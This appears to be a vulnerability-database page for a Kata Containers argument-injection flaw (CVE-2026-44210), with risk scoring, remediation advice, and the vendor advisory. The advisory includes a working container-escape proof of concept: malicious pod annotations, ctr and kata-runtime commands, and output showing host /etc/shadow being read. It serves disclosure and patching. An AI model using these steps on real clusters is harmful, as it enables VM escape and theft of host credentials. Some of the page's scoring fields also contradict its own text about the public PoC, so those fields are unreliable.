Skip to main content

Kata Containers CVE-2026-44210

| EUVDEUVD-2026-48339 MEDIUM
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (CWE-88)
2026-05-26 https://github.com/kata-containers/kata-containers GHSA-rr59-xxvx-96qr
5.8
CVSS 4.0 · Vendor: https://github.com/kata-containers/kata-containers
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain Kubernetes pod-creation RBAC rights
  2. Delivery
    Craft pod with malicious virtio_fs_extra_args and kernel_params annotations
  3. Exploit
    Kata runtime appends -o source=/ to virtiofsd, redirecting shared dir to host root
  4. Install
    virtiofsd serves entire host filesystem into guest VM
  5. C2
    Use kernel_params debug console to gain root shell inside VM
  6. Execute
    Mount kataShared virtiofs filesystem at /tmp/hostfs
  7. Impact
    Read or write arbitrary host files including /etc/shadow and SSH keys

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
Exploitation Conditions

The attacker must have permission to create pods or containers on a node running the Kata Containers runtime - standard Kubernetes pod-creation RBAC grants this without any escalation. The virtio_fs_extra_args annotation must appear in the enable_annotations list in configuration.toml, which is the default for all affected versions. The kernel_params annotation must also be default-enabled (it is) to use the VM debug console for stage two; without it the attacker still achieves virtiofsd redirection but needs an alternative path to obtain a guest shell (e.g., a container process that can mount virtiofs directly). No privileged pod security context, hostPath volumes, or non-default container runtime options are required - the entire attack is conducted through standard OCI annotations. Exploitation is limited to users who can set arbitrary pod annotations at creation time; it cannot be conducted by a process already running inside an existing container without the ability to launch new pods. External network reachability to the host is not required if the attacker has kubectl or containerd CLI access.

Impact

No CVSS vector has been published for this CVE; all attack-vector and complexity assessments below are inferred from the description and PoC, not confirmed by NVD or the vendor. That said, the real-world risk is severe. The attack requires standard Kubernetes pod-creation RBAC - the most common permission granted to developers and CI systems - and exploits default configuration with no special runtime flags or privileged pod security contexts. The attack is reproducible in under 30 seconds per the PoC, involves no memory corruption or race conditions, and is deterministic. The technical impact is maximum: complete bypass of Kata's VM isolation guarantee, with full read/write access to the host filesystem, including credential files, SSH keys, Kubernetes service account tokens, and the ability to plant persistent backdoors. This is a critical real-world priority for any multi-tenant Kubernetes cluster running Kata Containers, particularly those where pod-creation rights are granted to untrusted or semi-trusted users. No EPSS score is available; no CISA KEV listing is present. A public PoC with confirmed output exists, which materially lowers the exploitation barrier. The absence of a CVSS score should not be interpreted as low severity - the functional impact is equivalent to a CVSS 9.9 container escape.

Exploit ScenarioDerived

An attacker with Kubernetes pod-creation rights on a cluster using Kata Containers with default configuration submits a pod spec containing the annotation io.katacontainers.config.hypervisor.virtio_fs_extra_args: ["--sandbox=none","--seccomp=none","-o","source=/","--no-announce-submounts"] and io.katacontainers.config.hypervisor.kernel_params: agent.debug_console agent.debug_console_vport=1026. Once the Kata VM starts, the attacker executes kata-runtime exec <pod-id> to enter the VM's debug root shell, runs mount -t virtiofs kataShared /tmp/hostfs, and immediately has full access to the host filesystem - reading /etc/shadow, SSH private keys, Kubernetes secrets stored on disk, or writing cron jobs and replacing binaries. A public PoC with verified output confirming this exact sequence against Kata Containers 3.28.0 on Ubuntu 24.04 exists at https://github.com/kata-containers/kata-containers/security/advisories/GHSA-rr59-xxvx-96qr.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 27, 2026

VM escape in Kata Containers allows any Kubernetes user with pod-creation rights to break out of the VM sandbox and gain full read/write access to the host filesystem. All Kata Containers installations prior to commit ffa59ce3aa78 are affected when using the default configuration.toml, which enables the virtio_fs_extra_args and kernel_params pod annotations out of the box. An attacker crafts a pod with two annotations: one to redirect virtiofsd to serve the host root filesystem (/) into the guest VM, and a second to enable the agent debug console - after which the entire host filesystem is accessible from inside the supposedly isolated VM. A fully working proof-of-concept with confirmed output against Kata Containers 3.28.0 on Ubuntu 24.04 has been publicly disclosed; no public exploit confirmed as actively exploited (CISA KEV) at time of analysis.

RemediationAI

The primary fix is to upgrade Kata Containers to a build at or beyond commit ffa59ce3aa7877d067c9a372df0c329a23a01744 (Go module pseudo-version 0.0.0-20260519062212-ffa59ce3aa78), available at https://github.com/kata-containers/kata-containers/commit/ffa59ce3aa7877d067c9a372df0c329a23a01744. This commit removes virtio_fs_extra_args from the default enable_annotations list in all Makefile build profiles and updates documentation with a security warning. If an immediate upgrade is not possible, the effective workaround is to manually edit configuration.toml and remove virtio_fs_extra_args from the enable_annotations array - this directly closes the injection vector and has no impact on standard workloads that do not rely on passing custom virtiofsd arguments. Additionally, consider removing kernel_params from enable_annotations if the agent debug console is not operationally required, since it is used in the second stage of this attack chain to obtain a root shell inside the VM. As a defense-in-depth measure, deploy a Kubernetes admission webhook (e.g., OPA Gatekeeper or Kyverno) to reject any pod that sets the io.katacontainers.config.hypervisor.virtio_fs_extra_args annotation; this provides protection at the API server layer even before the runtime processes the annotation. The vendor advisory is at https://github.com/kata-containers/kata-containers/security/advisories/GHSA-rr59-xxvx-96qr.

Affected VersionsENISA

kata-containers < 3.31.0

Affected Packages

go github.com/kata-containers/kata-containers fix: 0.0.0-20260519062212-ffa59ce3aa78
euvd kata_containers fix: 3.31.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Kata Containers is a container runtime that enforces VM-level isolation using lightweight virtual machines. Filesystem sharing between host and guest relies on virtiofsd - a Rust userspace daemon (from gitlab.com/virtio-fs/virtiofsd) that exposes a host directory into the guest via the virtio-fs protocol. The runtime allows per-pod configuration through OCI annotations, gating permitted annotations with an enable_annotations allowlist in configuration.toml. The root cause (CWE-88: Argument Injection) is a two-part failure: first, the annotation value is parsed as a JSON string array in utils.go:981 and appended verbatim to the virtiofsd command line after the safe --shared-dir=<kata_managed_path> argument, with no validation of the injected arguments. Second, virtiofsd's legacy FUSE compatibility option -o source=PATH, processed in its Rust parse_compat() function at main.rs:462, silently overrides a previously-set --shared-dir value when it appears later in the argument list. This means injecting -o source=/ causes virtiofsd to expose the host root filesystem through the virtio-fs device instead of the Kata-managed container path. A second annotation, kernel_params, enables the Kata agent debug console inside the VM, providing an interactive root shell. The affected package is pkg:go/github.com/kata-containers/kata-containers.

Know when Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/kata-containers/kata-containers) PRIMARY 5.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P
SUSE MEDIUM
Red Hat 9.9 HIGH

Primary rating from Vendor (https://github.com/kata-containers/kata-containers).

CVSS VectorVendor: https://github.com/kata-containers/kata-containers

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

1
CVSS changed
Jul 23, 2026 - 18:22 NVD
5.8 (MEDIUM)

DescriptionCVE.org

Summary

Kata Containers ships with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the io.katacontainers.config.hypervisor.virtio_fs_extra_args pod annotation. By injecting -o source=/ along with --no-announce-submounts and --sandbox=none, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the kernel_params annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow.

Details

The default Kata configuration at configuration.toml line 1 contains:

enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params", "kernel_verity_params"]

Both virtio_fs_extra_args and kernel_params are enabled out of the box. The annotation name is checked against this allowlist, but the annotation value (the actual arguments) is never validated or filtered.

In utils.go at line 981, the runtime parses the annotation value as a JSON string array and appends it directly to the virtiofsd arguments:

go
if value, ok := ocispec.Annotations[vcAnnotations.VirtioFSExtraArgs]; ok {
    var parsedValue []string
    err := json.Unmarshal([]byte(value), &parsedValue)
    // ...
    sbConfig.HypervisorConfig.VirtioFSExtraArgs = append(
        sbConfig.HypervisorConfig.VirtioFSExtraArgs, parsedValue...)
}

In virtiofsd.go at line 183-198, the runtime builds the virtiofsd command line with --shared-dir=<kata_managed_path> first, then appends the extra args:

go
args := []string{
    "--syslog",
    "--cache=" + v.cache,
    "--shared-dir=" + v.sourcePath,
    fmt.Sprintf("--fd=%v", FdSocketNumber),
}
if len(v.extraArgs) != 0 {
    args = append(args, v.extraArgs...)
}

The virtiofsd binary (Rust, from gitlab.com/virtio-fs/virtiofsd) supports a compatibility option -o source=PATH that overrides the --shared-dir value. This is processed after clap argument parsing, in the parse_compat() function at main.rs:462:

rust
["source", value] => opt.shared_dir = Some(value.to_string()),

Because -o source=/ is appended after --shared-dir=<kata_path>, it overrides the shared directory to /. The virtiofsd process then serves the entire host root filesystem through the virtio-fs device.

Additionally, virtiofsd's --announce-submounts flag (set by default) causes the guest kernel to create FUSE automounts for bind mounts within the shared directory. When the shared directory is /, this produces automounts that shadow the root directory listing. Injecting --no-announce-submounts disables this behavior and exposes the true host root directory contents through the kataShared virtiofs mount.

The kernel_params annotation is used to inject agent.debug_console agent.debug_console_vport=1026 into the VM kernel command line. This enables a root shell inside the VM through the kata-runtime exec command. From this shell, the attacker mounts the kataShared virtiofs filesystem and accesses host files directly.

Rootfs bridge (PoC artifact, not a real constraint)

When virtiofsd uses -o source=/ to serve the host root, the Kata agent looks for the container rootfs at /<container-id>/rootfs relative to the virtiofs root. The PoC pre-creates this directory on the host to keep the demonstration self-contained with ctr.

In a real Kubernetes attack, there are several ways to satisfy this without hostPath volumes. An initContainer that runs before the target container can create the directory. Alternatively, the attacker can set up a second pod that writes to a shared persistent volume mounted on the host. The rootfs bridge is a PoC convenience, not a limitation of the vulnerability itself.

Impact

An attacker who can create pods on a Kubernetes cluster using Kata Containers with default configuration can:

  • Read any file on the host, including /etc/shadow, SSH private keys, and service credentials
  • Write to any file on the host, enabling persistent backdoors, cron jobs, or binary replacement
  • Access other containers' data through the host filesystem
  • Compromise the Kubernetes control plane if it runs on the same host

Steps to reproduce

Tested on a bare metal server (AMD Ryzen 5 3600, Ubuntu 24.04, kernel 6.8.0-100-generic) with Kata Containers 3.28.0 installed from the official release tarball.

  1. Install Kata Containers 3.28.0 and configure containerd. Verify that the default configuration has virtio_fs_extra_args in enable_annotations.
  2. Pull a container image:
ctr image pull docker.io/library/alpine:latest
  1. Run the PoC script below, or follow the manual steps:

Manual steps:

a. Extract a container rootfs and create the rootfs bridge (replace $SB_ID with your container name):

SB_ID="poc-exploit"
mkdir -p /$SB_ID/rootfs
# Extract alpine rootfs from OCI image
mkdir -p /tmp/oci-extract
ctr image export /tmp/oci.tar docker.io/library/alpine:latest
tar xf /tmp/oci.tar -C /tmp/oci-extract
IDX=$(jq -r '.manifests[0].digest' /tmp/oci-extract/index.json | sed 's/sha256://')
MFT=$(jq -r '.manifests[] | select(.platform.architecture=="amd64") | .digest' \
    "/tmp/oci-extract/blobs/sha256/$IDX" | head -1 | sed 's/sha256://')
LYR=$(jq -r '.layers[0].digest' "/tmp/oci-extract/blobs/sha256/$MFT" | sed 's/sha256://')
tar xzf "/tmp/oci-extract/blobs/sha256/$LYR" -C /$SB_ID/rootfs

rm -rf /tmp/oci-extract /tmp/oci.tar

b. Create a marker file on the host to prove access:

echo "HOST_ESCAPE_PROOF_$(date)" > /root/.poc-marker

c. Start the container with the malicious annotations:

ctr run \
  --runtime io.containerd.kata.v2 \
  --annotation 'io.katacontainers.config.hypervisor.virtio_fs_extra_args=["--sandbox=none","--seccomp=none","-o","source=/","--no-announce-submounts"]' \
  --annotation 'io.katacontainers.config.hypervisor.kernel_params=agent.debug_console agent.debug_console_vport=1026' \
  docker.io/library/alpine:latest $SB_ID \
  sleep 3600 &

Wait 20-30 seconds for the VM to start. Verify with ctr task ls.

d. Enter the VM through the debug console:

/opt/kata/bin/kata-runtime exec $SB_ID

e. Inside the VM, mount the host filesystem and read host files:

mkdir -p /tmp/hostfs
mount -t virtiofs kataShared /tmp/hostfs
cat /tmp/hostfs/etc/hostname
cat /tmp/hostfs/root/.poc-marker
head -3 /tmp/hostfs/etc/shadow
cat /tmp/hostfs/etc/os-release
ls /tmp/hostfs/opt/kata/bin/

f. Observe that /etc/hostname returns the host's hostname (not "localhost"), /etc/os-release shows the host OS (Ubuntu, not Alpine), /etc/shadow shows the host's password hashes, and /opt/kata/bin/ lists the Kata binaries installed on the host.

  1. Clean up:
ctr task kill $SB_ID --signal SIGKILL
ctr container rm $SB_ID
umount /$SB_ID/rootfs
rm -rf /$SB_ID

Proof of concept output

Below is the output from a successful run on Kata Containers 3.28.0. The host runs Ubuntu 24.04. The container image is Alpine Linux.

root@7a7325d5d804:/
# mkdir -p /tmp/h && mount -t virtiofs kataShared /tmp/h
root@7a7325d5d804:/
# echo DIRCOUNT:$(ls /tmp/h/ | wc -l)
DIRCOUNT:37
root@7a7325d5d804:/
# echo HOSTNAME:$(cat /tmp/h/etc/hostname)
HOSTNAME:kata-poc
root@7a7325d5d804:/
# echo OSREL:$(head -1 /tmp/h/etc/os-release)
OSREL:PRETTY_NAME="Ubuntu 24.04.3 LTS"
root@7a7325d5d804:/
# cat /tmp/h/root/.kata-poc-marker
HOST_NS2_1776058192
root@7a7325d5d804:/
# echo SHADOW:$(head -1 /tmp/h/etc/shadow)
SHADOW:root:*:17478:0:99999:7:::
root@7a7325d5d804:/
# echo BOOT:$(ls /tmp/h/boot 2>/dev/null | head -3)
BOOT:System.map-6.8.0-100-generic System.map-6.8.0-107-generic config-6.8.0-100-generic
root@7a7325d5d804:/
# echo KATA:$(ls /tmp/h/opt/kata/bin 2>/dev/null | head -3)
KATA:cloud-hypervisor containerd-shim-kata-v2 firecracker

The host's real hostname (kata-poc), OS (Ubuntu 24.04.3 LTS), /etc/shadow content, kernel files in /boot, and Kata binaries in /opt/kata/bin are all visible from inside the VM. The container itself runs Alpine, confirming this is the host filesystem and not the container's own filesystem.

Threat Intelligence Overview

EPSS Score
0.1%
Top 82% exploitable
Threat Intel
1
1 sources
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

29
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +29
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2025-64709 CRITICAL POC
9.9 Nov 13

Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy